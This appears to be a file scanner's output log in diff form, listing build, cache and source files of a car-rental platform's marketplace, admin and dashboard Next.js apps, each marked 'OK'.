+/scan/apps/marketplace/.next/server/app-paths-manifest.json: OK
+/scan/apps/marketplace/.next/server/webpack-runtime.js: OK
+/scan/apps/marketplace/.next/server/font-manifest.json: OK
+/scan/apps/marketplace/.next/server/pages/_error.js: OK
+/scan/apps/marketplace/.next/server/pages/_app.js.nft.json: OK
+/scan/apps/marketplace/.next/server/pages/_app.js: OK
+/scan/apps/marketplace/.next/server/pages/_document.js.nft.json: OK
+/scan/apps/marketplace/.next/server/pages/500.html: OK
+/scan/apps/marketplace/.next/server/pages/_error.js.nft.json: OK
+/scan/apps/marketplace/.next/server/pages/_document.js: OK
+/scan/apps/marketplace/.next/server/middleware-build-manifest.js: OK
+/scan/apps/marketplace/.next/server/server-reference-manifest.json: OK
+/scan/apps/marketplace/.next/server/next-font-manifest.json: OK
+/scan/apps/marketplace/.next/server/src/middleware.js.map: OK
+/scan/apps/marketplace/.next/server/src/middleware.js: OK
+/scan/apps/marketplace/.next/package.json: OK
+/scan/apps/marketplace/.next/export-marker.json: OK
+/scan/apps/marketplace/.next/static/Ed3jwewxzcdVaYvKg7trJ/_ssgManifest.js: OK
+/scan/apps/marketplace/.next/static/Ed3jwewxzcdVaYvKg7trJ/_buildManifest.js: OK
+/scan/apps/marketplace/.next/static/css/18cf28c376ac989e.css: OK
+/scan/apps/marketplace/.next/static/chunks/286-9676f27b16e2d903.js: OK
+/scan/apps/marketplace/.next/static/chunks/main-app-5bd7a91085cc6509.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/app-privacy-en/page-5b5aff77b642fcc8.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/app-tc-en/page-1050727e02e6d397.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/company-workspace/page-651e075ef6db674d.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/footer/[slug]/page-cdfd6827121507d6.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/app-privacy-fr/page-b792f7368342d218.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/platform-operations/page-4f0062b7fd2ddaad.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/app-tc-fr/page-1eaf8deede8afb1c.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/page-fc5a6371809ce57e.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/features/page-8d3e42679408856d.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/app-privacy-ar/page-103608de6a7aa973.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/app-tc-ar/page-76b10341a614821f.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/explore/[slug]/page-576f5f9d1bbe689f.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/explore/[slug]/vehicles/[id]/page-88124e2d7b6c7413.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/explore/page-247ed8e5e615ba15.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/review/page-46d9a4f47306eaab.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/layout-994f337cc68bdb20.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/(public)/pricing/page-764d6fb328b8af07.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/renter/sign-up/page-be045e0eeda5e554.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/renter/layout-ed220d69acb64760.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/renter/dashboard/page-de87efa907583964.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/renter/saved-companies/page-5b6bec65b7ed28b4.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/renter/profile/page-48193e947fb344d9.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/renter/sign-in/page-da28f1cce4f9ba77.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/renter/notifications/page-5127f0bab16aeef0.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/sign-in/page-0d87bcabcb789cf9.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/_not-found/page-33393e7e0f2d5b67.js: OK
+/scan/apps/marketplace/.next/static/chunks/app/layout-c461427bf06509e4.js: OK
+/scan/apps/marketplace/.next/static/chunks/1dd3208c-09d046c2417eb8cc.js: OK
+/scan/apps/marketplace/.next/static/chunks/main-c6ab60fe6e8bbd30.js: OK
+/scan/apps/marketplace/.next/static/chunks/673-efcc9e5ac6e419df.js: OK
+/scan/apps/marketplace/.next/static/chunks/606-fa21069054aef071.js: OK
+/scan/apps/marketplace/.next/static/chunks/webpack-eff55ce1335f4f0d.js: OK
+/scan/apps/marketplace/.next/static/chunks/277-2b96bc339d362fb2.js: OK
+/scan/apps/marketplace/.next/static/chunks/framework-3dceb7350aaf8a44.js: OK
+/scan/apps/marketplace/.next/static/chunks/469-33400d7844b6c350.js: OK
+/scan/apps/marketplace/.next/static/chunks/pages/_app-dea0b6b1c42677ea.js: OK
+/scan/apps/marketplace/.next/static/chunks/pages/_error-e327c3d2707a2378.js: OK
+/scan/apps/marketplace/.next/static/chunks/polyfills-78c92fac7aa8fdd8.js: OK
+/scan/apps/marketplace/.next/prerender-manifest.json: OK
+/scan/apps/marketplace/.next/routes-manifest.json: OK
+/scan/apps/marketplace/.next/app-path-routes-manifest.json: OK
+/scan/apps/marketplace/.next/app-build-manifest.json: OK
+/scan/apps/marketplace/.next/next-server.js.nft.json: OK
+/scan/apps/marketplace/.next/next-minimal-server.js.nft.json: OK
+/scan/apps/marketplace/next-env.d.ts: OK
+/scan/apps/marketplace/tailwind.config.ts: OK
+/scan/apps/marketplace/.turbo/turbo-build.log: OK
+/scan/apps/marketplace/public/favicon.ico: OK
+/scan/apps/marketplace/public/rentalcardrive.png: OK
+/scan/apps/marketplace/package.json: OK
+/scan/apps/marketplace/tsconfig.json: OK
+/scan/apps/marketplace/postcss.config.js: OK
+/scan/apps/marketplace/src/middleware.ts: OK
+/scan/apps/marketplace/src/app/layout.tsx: OK
+/scan/apps/marketplace/src/app/(public)/app-privacy-en/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/app-tc-en/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/company-workspace/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/footer/[slug]/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/app-privacy-fr/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/platform-operations/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/app-tc-fr/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/features/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/app-privacy-ar/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/app-tc-ar/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/explore/ExploreVehicleGrid.tsx: OK
+/scan/apps/marketplace/src/app/(public)/explore/ExploreSearchForm.tsx: OK
+/scan/apps/marketplace/src/app/(public)/explore/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/explore/[slug]/vehicles/[id]/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/explore/[slug]/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/review/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/layout.tsx: OK
+/scan/apps/marketplace/src/app/(public)/HomeContent.tsx: OK
+/scan/apps/marketplace/src/app/(public)/page.tsx: OK
+/scan/apps/marketplace/src/app/(public)/pricing/PricingClient.tsx: OK
+/scan/apps/marketplace/src/app/(public)/pricing/PricingPageContent.tsx: OK
+/scan/apps/marketplace/src/app/(public)/pricing/page.tsx: OK
+/scan/apps/marketplace/src/app/renter/sign-up/page.tsx: OK
+/scan/apps/marketplace/src/app/renter/dashboard/page.tsx: OK
+/scan/apps/marketplace/src/app/renter/saved-companies/page.tsx: OK
+/scan/apps/marketplace/src/app/renter/profile/page.tsx: OK
+/scan/apps/marketplace/src/app/renter/layout.tsx: OK
+/scan/apps/marketplace/src/app/renter/sign-in/page.tsx: OK
+/scan/apps/marketplace/src/app/renter/notifications/page.tsx: OK
+/scan/apps/marketplace/src/app/sign-in/page.tsx: OK
+/scan/apps/marketplace/src/app/globals.css: OK
+/scan/apps/marketplace/src/components/MarketplaceFooter.tsx: OK
+/scan/apps/marketplace/src/components/WorkspaceFrame.tsx: OK
+/scan/apps/marketplace/src/components/BookingForm.tsx: OK
+/scan/apps/marketplace/src/components/MarketplaceShell.tsx: OK
+/scan/apps/marketplace/src/components/FooterContentPage.tsx: OK
+/scan/apps/marketplace/src/components/MarketplaceHeader.tsx: OK
+/scan/apps/marketplace/src/components/RenterShell.tsx: OK
+/scan/apps/marketplace/src/components/WorkspaceTabs.tsx: OK
+/scan/apps/marketplace/src/lib/footerContent.ts: OK
+/scan/apps/marketplace/src/lib/i18n.ts: OK
+/scan/apps/marketplace/src/lib/renter.ts: OK
+/scan/apps/marketplace/src/lib/api.ts: OK
+/scan/apps/marketplace/src/lib/i18n.server.ts: OK
+/scan/apps/marketplace/src/lib/preferences.ts: OK
+/scan/apps/marketplace/src/lib/appUrls.ts: OK
+/scan/apps/admin/tsconfig.tsbuildinfo: OK
+/scan/apps/admin/next.config.js: OK
+/scan/apps/admin/.next/types/app/favicon.ico/route.ts: OK
+/scan/apps/admin/.next/types/app/dashboard/audit-logs/page.ts: OK
+/scan/apps/admin/.next/types/app/dashboard/admin-users/page.ts: OK
+/scan/apps/admin/.next/types/app/dashboard/page.ts: OK
+/scan/apps/admin/.next/types/app/dashboard/menu-management/page.ts: OK
+/scan/apps/admin/.next/types/app/dashboard/layout.ts: OK
+/scan/apps/admin/.next/types/app/dashboard/renters/page.ts: OK
+/scan/apps/admin/.next/types/app/dashboard/site-config/page.ts: OK
+/scan/apps/admin/.next/types/app/dashboard/containers/page.ts: OK
+/scan/apps/admin/.next/types/app/dashboard/pricing/page.ts: OK
+/scan/apps/admin/.next/types/app/dashboard/notifications/page.ts: OK
+/scan/apps/admin/.next/types/app/dashboard/companies/page.ts: OK
+/scan/apps/admin/.next/types/app/dashboard/companies/[id]/page.ts: OK
+/scan/apps/admin/.next/types/app/dashboard/billing/page.ts: OK
+/scan/apps/admin/.next/types/app/page.ts: OK
+/scan/apps/admin/.next/types/app/forgot-password/page.ts: OK
+/scan/apps/admin/.next/types/app/layout.ts: OK
+/scan/apps/admin/.next/types/app/reset-password/page.ts: OK
+/scan/apps/admin/.next/types/app/auth-redirect/page.ts: OK
+/scan/apps/admin/.next/types/app/login/page.ts: OK
+/scan/apps/admin/.next/types/package.json: OK
+/scan/apps/admin/.next/prerender-manifest.js: OK
+/scan/apps/admin/.next/trace: OK
+/scan/apps/admin/.next/cache/config.json: OK
+/scan/apps/admin/.next/cache/webpack/client-production/index.pack: OK
+/scan/apps/admin/.next/cache/webpack/client-production/index.pack.old: OK
+/scan/apps/admin/.next/cache/webpack/client-production/0.pack: OK
+/scan/apps/admin/.next/cache/webpack/client-development/index.pack.gz: OK
+/scan/apps/admin/.next/cache/webpack/client-development/0.pack.gz: OK
+/scan/apps/admin/.next/cache/webpack/edge-server-production/index.pack: OK
+/scan/apps/admin/.next/cache/webpack/edge-server-production/index.pack.old: OK
+/scan/apps/admin/.next/cache/webpack/edge-server-production/0.pack: OK
+/scan/apps/admin/.next/cache/webpack/server-production/index.pack: OK
+/scan/apps/admin/.next/cache/webpack/server-production/index.pack.old: OK
+/scan/apps/admin/.next/cache/webpack/server-production/0.pack: OK
+/scan/apps/admin/.next/cache/.tsbuildinfo: OK
+/scan/apps/admin/.next/images-manifest.json: OK
+/scan/apps/admin/.next/react-loadable-manifest.json: OK
+/scan/apps/admin/.next/required-server-files.json: OK
+/scan/apps/admin/.next/build-manifest.json: OK
+/scan/apps/admin/.next/BUILD_ID: OK
+/scan/apps/admin/.next/server/pages-manifest.json: OK
+/scan/apps/admin/.next/server/next-font-manifest.js: OK
+/scan/apps/admin/.next/server/interception-route-rewrite-manifest.js: OK
+/scan/apps/admin/.next/server/server-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/_not-found.rsc: OK
+/scan/apps/admin/.next/server/app/auth-redirect.html: OK
+/scan/apps/admin/.next/server/app/auth-redirect.meta: OK
+/scan/apps/admin/.next/server/app/favicon.ico/route.js: OK
+/scan/apps/admin/.next/server/app/favicon.ico/route.js.nft.json: OK
+/scan/apps/admin/.next/server/app/index.html: OK
+/scan/apps/admin/.next/server/app/reset-password.rsc: OK
+/scan/apps/admin/.next/server/app/index.meta: OK
+/scan/apps/admin/.next/server/app/forgot-password.html: OK
+/scan/apps/admin/.next/server/app/page.js: OK
+/scan/apps/admin/.next/server/app/forgot-password.meta: OK
+/scan/apps/admin/.next/server/app/icon.body: OK
+/scan/apps/admin/.next/server/app/auth-redirect.rsc: OK
+/scan/apps/admin/.next/server/app/forgot-password.rsc: OK
+/scan/apps/admin/.next/server/app/reset-password.meta: OK
+/scan/apps/admin/.next/server/app/reset-password.html: OK
+/scan/apps/admin/.next/server/app/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/_not-found.meta: OK
+/scan/apps/admin/.next/server/app/dashboard.html: OK
+/scan/apps/admin/.next/server/app/_not-found.html: OK
+/scan/apps/admin/.next/server/app/icon.meta: OK
+/scan/apps/admin/.next/server/app/dashboard.meta: OK
+/scan/apps/admin/.next/server/app/dashboard/companies.rsc: OK
+/scan/apps/admin/.next/server/app/dashboard/audit-logs.html: OK
+/scan/apps/admin/.next/server/app/dashboard/audit-logs/page.js: OK
+/scan/apps/admin/.next/server/app/dashboard/audit-logs/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/dashboard/audit-logs/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/dashboard/audit-logs.meta: OK
+/scan/apps/admin/.next/server/app/dashboard/admin-users.meta: OK
+/scan/apps/admin/.next/server/app/dashboard/menu-management.html: OK
+/scan/apps/admin/.next/server/app/dashboard/notifications.rsc: OK
+/scan/apps/admin/.next/server/app/dashboard/admin-users.html: OK
+/scan/apps/admin/.next/server/app/dashboard/menu-management.meta: OK
+/scan/apps/admin/.next/server/app/dashboard/containers.rsc: OK
+/scan/apps/admin/.next/server/app/dashboard/site-config.rsc: OK
+/scan/apps/admin/.next/server/app/dashboard/page.js: OK
+/scan/apps/admin/.next/server/app/dashboard/site-config.html: OK
+/scan/apps/admin/.next/server/app/dashboard/pricing.html: OK
+/scan/apps/admin/.next/server/app/dashboard/billing.html: OK
+/scan/apps/admin/.next/server/app/dashboard/site-config.meta: OK
+/scan/apps/admin/.next/server/app/dashboard/pricing.meta: OK
+/scan/apps/admin/.next/server/app/dashboard/billing.meta: OK
+/scan/apps/admin/.next/server/app/dashboard/notifications.html: OK
+/scan/apps/admin/.next/server/app/dashboard/billing.rsc: OK
+/scan/apps/admin/.next/server/app/dashboard/companies.html: OK
+/scan/apps/admin/.next/server/app/dashboard/menu-management.rsc: OK
+/scan/apps/admin/.next/server/app/dashboard/notifications.meta: OK
+/scan/apps/admin/.next/server/app/dashboard/companies.meta: OK
+/scan/apps/admin/.next/server/app/dashboard/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/dashboard/containers.html: OK
+/scan/apps/admin/.next/server/app/dashboard/containers.meta: OK
+/scan/apps/admin/.next/server/app/dashboard/pricing.rsc: OK
+/scan/apps/admin/.next/server/app/dashboard/admin-users/page.js: OK
+/scan/apps/admin/.next/server/app/dashboard/admin-users/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/dashboard/admin-users/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/dashboard/menu-management/page.js: OK
+/scan/apps/admin/.next/server/app/dashboard/menu-management/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/dashboard/menu-management/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/dashboard/audit-logs.rsc: OK
+/scan/apps/admin/.next/server/app/dashboard/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/dashboard/renters/page.js: OK
+/scan/apps/admin/.next/server/app/dashboard/renters/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/dashboard/renters/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/dashboard/site-config/page.js: OK
+/scan/apps/admin/.next/server/app/dashboard/site-config/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/dashboard/site-config/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/dashboard/renters.meta: OK
+/scan/apps/admin/.next/server/app/dashboard/containers/page.js: OK
+/scan/apps/admin/.next/server/app/dashboard/containers/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/dashboard/containers/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/dashboard/renters.html: OK
+/scan/apps/admin/.next/server/app/dashboard/admin-users.rsc: OK
+/scan/apps/admin/.next/server/app/dashboard/pricing/page.js: OK
+/scan/apps/admin/.next/server/app/dashboard/pricing/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/dashboard/pricing/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/dashboard/notifications/page.js: OK
+/scan/apps/admin/.next/server/app/dashboard/notifications/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/dashboard/notifications/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/dashboard/companies/page.js: OK
+/scan/apps/admin/.next/server/app/dashboard/companies/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/dashboard/companies/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/dashboard/companies/[id]/page.js: OK
+/scan/apps/admin/.next/server/app/dashboard/companies/[id]/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/dashboard/companies/[id]/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/dashboard/billing/page.js: OK
+/scan/apps/admin/.next/server/app/dashboard/billing/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/dashboard/billing/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/dashboard/renters.rsc: OK
+/scan/apps/admin/.next/server/app/index.rsc: OK
+/scan/apps/admin/.next/server/app/forgot-password/page.js: OK
+/scan/apps/admin/.next/server/app/forgot-password/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/forgot-password/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/dashboard.rsc: OK
+/scan/apps/admin/.next/server/app/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/reset-password/page.js: OK
+/scan/apps/admin/.next/server/app/reset-password/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/reset-password/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/_not-found/page.js: OK
+/scan/apps/admin/.next/server/app/_not-found/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/_not-found/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/icon/route.js: OK
+/scan/apps/admin/.next/server/app/icon/route.js.nft.json: OK
+/scan/apps/admin/.next/server/app/auth-redirect/page.js: OK
+/scan/apps/admin/.next/server/app/auth-redirect/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/auth-redirect/page.js.nft.json: OK
+/scan/apps/admin/.next/server/app/login/page.js: OK
+/scan/apps/admin/.next/server/app/login/page_client-reference-manifest.js: OK
+/scan/apps/admin/.next/server/app/login/page.js.nft.json: OK
+/scan/apps/admin/.next/server/functions-config-manifest.json: OK
+/scan/apps/admin/.next/server/middleware-manifest.json: OK
+/scan/apps/admin/.next/server/chunks/649.js: OK
+/scan/apps/admin/.next/server/chunks/679.js: OK
+/scan/apps/admin/.next/server/chunks/201.js: OK
+/scan/apps/admin/.next/server/chunks/637.js: OK
+/scan/apps/admin/.next/server/chunks/522.js: OK
+/scan/apps/admin/.next/server/chunks/135.js: OK
+/scan/apps/admin/.next/server/chunks/font-manifest.json: OK
+/scan/apps/admin/.next/server/middleware-react-loadable-manifest.js: OK
+/scan/apps/admin/.next/server/app-paths-manifest.json: OK
+/scan/apps/admin/.next/server/webpack-runtime.js: OK
+/scan/apps/admin/.next/server/font-manifest.json: OK
+/scan/apps/admin/.next/server/pages/_error.js: OK
+/scan/apps/admin/.next/server/pages/_app.js.nft.json: OK
+/scan/apps/admin/.next/server/pages/_app.js: OK
+/scan/apps/admin/.next/server/pages/_document.js.nft.json: OK
+/scan/apps/admin/.next/server/pages/500.html: OK
+/scan/apps/admin/.next/server/pages/404.html: OK
+/scan/apps/admin/.next/server/pages/_error.js.nft.json: OK
+/scan/apps/admin/.next/server/pages/_document.js: OK
+/scan/apps/admin/.next/server/middleware-build-manifest.js: OK
+/scan/apps/admin/.next/server/server-reference-manifest.json: OK
+/scan/apps/admin/.next/server/next-font-manifest.json: OK
+/scan/apps/admin/.next/package.json: OK
+/scan/apps/admin/.next/export-marker.json: OK
+/scan/apps/admin/.next/static/css/1b4d0bfc685844bd.css: OK
+/scan/apps/admin/.next/static/ZLLhH1z3fJRlcrEhuI73R/_ssgManifest.js: OK
+/scan/apps/admin/.next/static/ZLLhH1z3fJRlcrEhuI73R/_buildManifest.js: OK
+/scan/apps/admin/.next/static/chunks/286-00c20d6b42700a0f.js: OK
+/scan/apps/admin/.next/static/chunks/main-app-5bd7a91085cc6509.js: OK
+/scan/apps/admin/.next/static/chunks/app/layout-b26b9a38a0b30e38.js: OK
+/scan/apps/admin/.next/static/chunks/app/dashboard/audit-logs/page-bb783057db774925.js: OK
+/scan/apps/admin/.next/static/chunks/app/dashboard/page-c924a18645b3cb9a.js: OK
+/scan/apps/admin/.next/static/chunks/app/dashboard/admin-users/page-555ffe143d3f63f3.js: OK
+/scan/apps/admin/.next/static/chunks/app/dashboard/menu-management/page-40243804073e97a1.js: OK
+/scan/apps/admin/.next/static/chunks/app/dashboard/renters/page-efb30222ad14c401.js: OK
+/scan/apps/admin/.next/static/chunks/app/dashboard/site-config/page-5457b951c1cbc966.js: OK
+/scan/apps/admin/.next/static/chunks/app/dashboard/containers/page-90ebcdcfac36eb58.js: OK
+/scan/apps/admin/.next/static/chunks/app/dashboard/pricing/page-3982f0e59bfc95f2.js: OK
+/scan/apps/admin/.next/static/chunks/app/dashboard/notifications/page-971e6df2f2d3907d.js: OK
+/scan/apps/admin/.next/static/chunks/app/dashboard/layout-9dfcd6103bf4b3ee.js: OK
+/scan/apps/admin/.next/static/chunks/app/dashboard/companies/page-72dd2a3b6d3d1860.js: OK
+/scan/apps/admin/.next/static/chunks/app/dashboard/companies/[id]/page-dcef7e4c80d97016.js: OK
+/scan/apps/admin/.next/static/chunks/app/dashboard/billing/page-501a64e17388b5ab.js: OK
+/scan/apps/admin/.next/static/chunks/app/forgot-password/page-c71f95511ff172c4.js: OK
+/scan/apps/admin/.next/static/chunks/app/reset-password/page-6eb261aca7025ba9.js: OK
+/scan/apps/admin/.next/static/chunks/app/_not-found/page-ce9baaae92bd3edb.js: OK
+/scan/apps/admin/.next/static/chunks/app/auth-redirect/page-fce48aa015cb314e.js: OK
+/scan/apps/admin/.next/static/chunks/app/page-c08796ddf7bfa521.js: OK
+/scan/apps/admin/.next/static/chunks/app/login/page-2df61cf9ff6a6ee4.js: OK
+/scan/apps/admin/.next/static/chunks/1dd3208c-73f6412f09eda6fe.js: OK
+/scan/apps/admin/.next/static/chunks/583-d34f6118196a871f.js: OK
+/scan/apps/admin/.next/static/chunks/main-bb26e96d7d3e2a7b.js: OK
+/scan/apps/admin/.next/static/chunks/webpack-27aa3ce5146f9fbc.js: OK
+/scan/apps/admin/.next/static/chunks/framework-3dceb7350aaf8a44.js: OK
+/scan/apps/admin/.next/static/chunks/pages/_app-dea0b6b1c42677ea.js: OK
+/scan/apps/admin/.next/static/chunks/pages/_error-e327c3d2707a2378.js: OK
+/scan/apps/admin/.next/static/chunks/polyfills-78c92fac7aa8fdd8.js: OK
+/scan/apps/admin/.next/static/chunks/269-1ead355d466c3e1f.js: OK
+/scan/apps/admin/.next/prerender-manifest.json: OK
+/scan/apps/admin/.next/routes-manifest.json: OK
+/scan/apps/admin/.next/app-path-routes-manifest.json: OK
+/scan/apps/admin/.next/app-build-manifest.json: OK
+/scan/apps/admin/.next/next-server.js.nft.json: OK
+/scan/apps/admin/.next/next-minimal-server.js.nft.json: OK
+/scan/apps/admin/next-env.d.ts: OK
+/scan/apps/admin/tailwind.config.ts: OK
+/scan/apps/admin/.turbo/turbo-build.log: OK
+/scan/apps/admin/package.json: OK
+/scan/apps/admin/tsconfig.json: OK
+/scan/apps/admin/postcss.config.js: OK
+/scan/apps/admin/src/app/favicon.ico/route.ts: OK
+/scan/apps/admin/src/app/icon.tsx: OK
+/scan/apps/admin/src/app/dashboard/audit-logs/page.tsx: OK
+/scan/apps/admin/src/app/dashboard/admin-users/page.tsx: OK
+/scan/apps/admin/src/app/dashboard/menu-management/page.tsx: OK
+/scan/apps/admin/src/app/dashboard/layout.tsx: OK
+/scan/apps/admin/src/app/dashboard/renters/page.tsx: OK
+/scan/apps/admin/src/app/dashboard/site-config/page.tsx: OK
+/scan/apps/admin/src/app/dashboard/containers/page.tsx: OK
+/scan/apps/admin/src/app/dashboard/page.tsx: OK
+/scan/apps/admin/src/app/dashboard/pricing/page.tsx: OK
+/scan/apps/admin/src/app/dashboard/notifications/page.tsx: OK
+/scan/apps/admin/src/app/dashboard/companies/[id]/page.tsx: OK
+/scan/apps/admin/src/app/dashboard/companies/page.tsx: OK
+/scan/apps/admin/src/app/dashboard/billing/page.tsx: OK
+/scan/apps/admin/src/app/forgot-password/page.tsx: OK
+/scan/apps/admin/src/app/layout.tsx: OK
+/scan/apps/admin/src/app/reset-password/page.tsx: OK
+/scan/apps/admin/src/app/auth-redirect/page.tsx: OK
+/scan/apps/admin/src/app/page.tsx: OK
+/scan/apps/admin/src/app/globals.css: OK
+/scan/apps/admin/src/app/login/page.tsx: OK
+/scan/apps/admin/src/components/PublicHeader.tsx: OK
+/scan/apps/admin/src/components/PublicFooter.tsx: OK
+/scan/apps/admin/src/components/I18nProvider.tsx: OK
+/scan/apps/admin/src/components/PublicShell.tsx: OK
+/scan/apps/admin/src/lib/api.ts: OK
+/scan/apps/admin/src/lib/appUrls.ts: OK
+/scan/apps/dashboard/tsconfig.tsbuildinfo: OK
+/scan/apps/dashboard/next.config.js: OK
+/scan/apps/dashboard/.next/types/app/sign-up/[[...sign-up]]/page.ts: OK
+/scan/apps/dashboard/.next/types/app/forgot-password/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(public)/layout.ts: OK
+/scan/apps/dashboard/.next/types/app/(public)/sign-in/page.ts: OK
+/scan/apps/dashboard/.next/types/app/reset-password/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/customers/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/settings/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/offers/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/complaints/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/reservations/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/reservations/new/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/reservations/[id]/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/contracts/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/contracts/[id]/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/online-reservations/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/subscription/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/team/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/fleet/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/fleet/[id]/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/notifications/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/billing/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/reports/page.ts: OK
+/scan/apps/dashboard/.next/types/app/(dashboard)/reviews/page.ts: OK
+/scan/apps/dashboard/.next/types/app/onboarding/page.ts: OK
+/scan/apps/dashboard/.next/types/app/onboarding/accept-invite/page.ts: OK
+/scan/apps/dashboard/.next/types/package.json: OK
+/scan/apps/dashboard/.next/prerender-manifest.js: OK
+/scan/apps/dashboard/.next/trace: OK
+/scan/apps/dashboard/.next/cache/images/60QjnfZyPEvQ16jEMDsDD8CZhaPoxQHE8hoXdqZHq98=/60.1779681434121.2Pwpq1MbHDZ8-7bcMsE4ih+V2A2tmUjS0ULi3udI+uo=.webp: OK
+/scan/apps/dashboard/.next/cache/config.json: OK
+/scan/apps/dashboard/.next/cache/webpack/client-production/index.pack: OK
+/scan/apps/dashboard/.next/cache/webpack/client-production/2.pack: OK
+/scan/apps/dashboard/.next/cache/webpack/client-production/1.pack: OK
+/scan/apps/dashboard/.next/cache/webpack/client-production/index.pack.old: OK
+/scan/apps/dashboard/.next/cache/webpack/client-production/0.pack: OK
+/scan/apps/dashboard/.next/cache/webpack/client-development/4.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/client-development/index.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/client-development/3.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/client-development/2.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/client-development/index.pack.gz.old: OK
+/scan/apps/dashboard/.next/cache/webpack/client-development/0.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/client-development/1.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/edge-server-production/index.pack: OK
+/scan/apps/dashboard/.next/cache/webpack/edge-server-production/index.pack.old: OK
